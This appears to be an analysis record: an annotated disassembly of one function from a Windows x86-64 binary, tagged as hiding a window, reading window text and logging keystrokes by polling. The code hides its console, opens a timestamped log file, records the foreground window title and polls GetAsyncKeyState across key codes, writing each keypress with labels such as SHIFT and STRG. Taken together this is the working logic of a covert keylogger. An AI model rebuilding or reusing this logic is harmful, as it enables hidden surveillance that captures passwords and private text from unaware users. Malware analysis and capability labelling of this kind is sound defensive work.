Function at 0x4015e1
Capabilities:
Get graphical window text
Hide graphical window
Log keystrokes via polling

Disassembly:
push rbp
push rbx
sub rsp, 0xa08
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x9a0], rcx
mov qword [rbp + 0x9a8], rdx
mov qword [rbp + 0x9b0], r8
mov dword [rbp + 0x9b8], r9d
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x970], rax
mov rax, qword [rbp + 0x970]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x800]
mov rcx, rax
call dbg.getSelfPath[abi:cxx11]()
lea rax, [rbp + 0x7e0]
lea rdx, [rbp + 0x800]
mov rcx, rax
call dbg.dirBasename(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x800]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x7d8]
mov rcx, rax
call dbg.time
lea rax, [rbp + 0x7d8]
mov rcx, rax
call dbg.localtime
mov qword [rbp + 0x968], rax
mov rdx, qword [rbp + 0x968]
lea rax, [rbp + 0x6d0]
mov r9, rdx
lea r8, str._Y__m__d__H__M__S
mov edx, 0x64
mov rcx, rax
call sym.strftime
lea rax, [rbp + 0x7e0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
lea r8, [rbp + 0x6d0]
lea rax, [rbp + 0x5c0]
lea rcx, str..log
mov qword [rsp + 0x20], rcx
mov r9, r8
mov r8, rdx
lea rdx, str._s_s_s
mov rcx, rax
call dbg.sprintf
lea rax, [rbp + 0x82e]
mov rcx, rax
call fcn.0046f7e0
lea rdx, [rbp + 0x82e]
lea rax, [rbp + 0x5a0]
mov r8, rdx
lea rdx, [0x004c7020]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x82e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rdx, [rbp + 0x5c0]
lea rax, [rbp + 0x3d0]
mov r8d, 0x10
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream_char_const__std::_Ios_Openmode_
mov word [rbp + 0x966], 0
mov ecx, 2
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.USER32.dll_GetForegroundWindow]
call rax
mov qword [rbp + 0x958], rax
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x958]
mov r8d, 0x3ff
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowTextA]
call rax
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0x5a0]
mov rcx, rax
call dbg.bool std::operator!=<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, char const*)
test al, al
je 0x401862
lea rax, [rbp + 0x3d0]
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rdx, str.Window:
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x30]
movzx eax, byte [rax]
test al, al
jne 0x401805
lea rax, [rbp + 0x3d0]
lea rdx, str.NO_ACTIVE_WINDOW
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x401839
lea rax, [rbp + 0x3d0]
lea rdx, [0x004c703b]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp - 0x30]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rdx, [0x004c703b]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x3d0]
mov rdx, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rcx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0x5a0]
mov rcx, rax
call fcn.004a3160
mov byte [rbp + 0x97f], 1
cmp byte [rbp + 0x97f], 0xff
je 0x401758
movzx eax, byte [rbp + 0x97f]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
mov word [rbp + 0x956], ax
movsx eax, word [rbp + 0x956]
and eax, 1
test eax, eax
je 0x40204f
lea rax, [rbp + 0x82f]
mov rcx, rax
call fcn.0046f7e0
lea rdx, [rbp + 0x82f]
lea rax, [rbp - 0x50]
mov r8, rdx
lea rdx, [0x004c7020]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x82f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
cmp byte [rbp + 0x97f], 1
jne 0x4018fd
lea rax, [rbp - 0x50]
lea rdx, str._LMOUSE_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 2
jne 0x40191e
lea rax, [rbp - 0x50]
lea rdx, str._RMOUSE_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 4
jne 0x40193f
lea rax, [rbp - 0x50]
lea rdx, str._MMOUSE_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0xd
jne 0x401960
lea rax, [rbp - 0x50]
lea rdx, str._RETURN_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0x10
je 0x40197b
cmp byte [rbp + 0x97f], 0x11
je 0x40197b
cmp byte [rbp + 0x97f], 0x12
jne 0x401993
lea rax, [rbp - 0x50]
lea rdx, [0x004c7020]
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0xa0
je 0x4019a5
cmp byte [rbp + 0x97f], 0xa1
jne 0x4019bd
lea rax, [rbp - 0x50]
lea rdx, str._SHIFT_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0xa2
je 0x4019cf
cmp byte [rbp + 0x97f], 0xa3
jne 0x4019e7
lea rax, [rbp - 0x50]
lea rdx, str._STRG_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0xa4
jne 0x401a08
lea rax, [rbp - 0x50]
lea rdx, str._ALT_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0xa5
jne 0x401a29
lea rax, [rbp - 0x50]
lea rdx, str._ALT_GR_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 8
jne 0x401a4a
lea rax, [rbp - 0x50]
lea rdx, str._BACKSPACE_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 9
jne 0x401a6b
lea rax, [rbp - 0x50]
lea rdx, str._TAB_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0x1b
jne 0x401a8c
lea rax, [rbp - 0x50]
lea rdx, str._ESC_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0x21
jne 0x401aad
lea rax, [rbp - 0x50]
lea rdx, str._PAGE_UP_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0x22
jne 0x401ace
lea rax, [rbp - 0x50]
lea rdx, str._PAGE_DOWN_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0x23
jne 0x401aef
lea rax, [rbp - 0x50]
lea rdx, str._HOME_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0x24
jne 0x401b10
lea rax, [rbp - 0x50]
lea rdx, str._POS1_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0x25
jne 0x401b31
lea rax, [rbp - 0x50]
lea rdx, str._ARROW_LEFT_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0x26
jne 0x401b52
lea rax, [rbp - 0x50]
lea rdx, str._ARROW_UP_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0x27
jne 0x401b73
lea rax, [rbp - 0x50]
lea rdx, str._ARROW_RIGHT_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0x28
jne 0x401b94
lea rax, [rbp - 0x50]
lea rdx, str._ARROW_DOWN_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0x2d
jne 0x401bb5
lea rax, [rbp - 0x50]
lea rdx, str._INS_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0x2e
jne 0x401bd6
lea rax, [rbp - 0x50]
lea rdx, str._DEL_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0x40
jbe 0x401be8
cmp byte [rbp + 0x97f], 0x5a
jbe 0x401c03
cmp byte [rbp + 0x97f], 0x2f
jbe 0x401bfa
cmp byte [rbp + 0x97f], 0x39
jbe 0x401c03
cmp byte [rbp + 0x97f], 0x20
jne 0x401c1e
movzx eax, byte [rbp + 0x97f]
movsx edx, al
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_
jmp 0x402013
cmp byte [rbp + 0x97f], 0x5b
je 0x401c30
cmp byte [rbp + 0x97f], 0x5c
jne 0x401c48
lea rax, [rbp - 0x50]
lea rdx, str._WIN_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0x5f
jbe 0x401cfd
cmp byte [rbp + 0x97f], 0x69
ja 0x401cfd
movzx eax, byte [rbp + 0x97f]
lea edx, [rax - 0x60]
lea rax, [rbp + 0x870]
mov rcx, rax
call dbg.intToString[abi:cxx11](int)
lea rax, [rbp + 0x850]
lea rdx, [rbp + 0x870]
mov r8, rdx
lea rdx, str._NUM
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(char const*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&)
lea rax, [rbp + 0x830]
lea rdx, [rbp + 0x850]
lea r8, [0x004c7106]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, char const*)
lea rdx, [rbp + 0x830]
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x830]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x850]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x870]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x402013
cmp byte [rbp + 0x97f], 0x6a
jne 0x401d1e
lea rax, [rbp - 0x50]
lea rdx, [0x004c7108]
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0x6b
jne 0x401d3f
lea rax, [rbp - 0x50]
lea rdx, str._NUM__
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0x6d
jne 0x401d60
lea rax, [rbp - 0x50]
lea rdx, [0x004c7118]
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0x6d
jne 0x401d81
lea rax, [rbp - 0x50]
lea rdx, str._NUM___
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0x6f
jbe 0x401e36
cmp byte [rbp + 0x97f], 0x7b
ja 0x401e36
movzx eax, byte [rbp + 0x97f]
lea edx, [rax - 0x6f]
lea rax, [rbp + 0x8d0]
mov rcx, rax
call dbg.intToString[abi:cxx11](int)
lea rax, [rbp + 0x8b0]
lea rdx, [rbp + 0x8d0]
mov r8, rdx
lea rdx, [0x004c7128]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(char const*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&)
lea rax, [rbp + 0x890]
lea rdx, [rbp + 0x8b0]
lea r8, [0x004c7106]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, char const*)
lea rdx, [rbp + 0x890]
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x890]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x8b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x8d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x402013
cmp byte [rbp + 0x97f], 0x90
jne 0x401e57
lea rax, [rbp - 0x50]
lea rdx, str._NUM_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0xc0
jne 0x401e78
lea rax, [rbp - 0x50]
lea rdx, str._OE_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0xde
jne 0x401e99
lea rax, [rbp - 0x50]
lea rdx, str._AE_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0xba
jne 0x401eba
lea rax, [rbp - 0x50]
lea rdx, str._UE_
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0xba
jne 0x401edb
lea rax, [rbp - 0x50]
lea rdx, str.__._
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0xbc
jne 0x401efc
lea rax, [rbp - 0x50]
lea rdx, [0x004c7142]
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0xbd
jne 0x401f1d
lea rax, [rbp - 0x50]
lea rdx, [0x004c7144]
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0xbe
jne 0x401f3e
lea rax, [rbp - 0x50]
lea rdx, [0x004c7146]
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0xbf
jne 0x401f5f
lea rax, [rbp - 0x50]
lea rdx, [0x004c7148]
mov rcx, rax
call fcn.004a3160
jmp 0x402013
cmp byte [rbp + 0x97f], 0xe2
jne 0x401f80
lea rax, [rbp - 0x50]
lea rdx, [0x004c714a]
mov rcx, rax
call fcn.004a3160
jmp 0x402013
movzx edx, byte [rbp + 0x97f]
lea rax, [rbp + 0x930]
mov rcx, rax
call dbg.intToString[abi:cxx11](int)
lea rax, [rbp + 0x910]
lea rdx, [rbp + 0x930]
mov r8, rdx
lea rdx, [0x004c714c]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(char const*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&)
lea rax, [rbp + 0x8f0]
lea rdx, [rbp + 0x910]
lea r8, [0x004c7106]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, char const*)
lea rdx, [rbp + 0x8f0]
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x8f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x910]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x930]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rdx, [rbp - 0x50]
lea rax, [rbp + 0x3d0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp + 0x3d0]
mov rcx, rax
call method.std::ostream.flush__
movzx eax, byte [rbp + 0x97f]
mov word [rbp + 0x966], ax
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
movzx eax, byte [rbp + 0x97f]
add eax, 1
mov byte [rbp + 0x97f], al
jmp 0x401869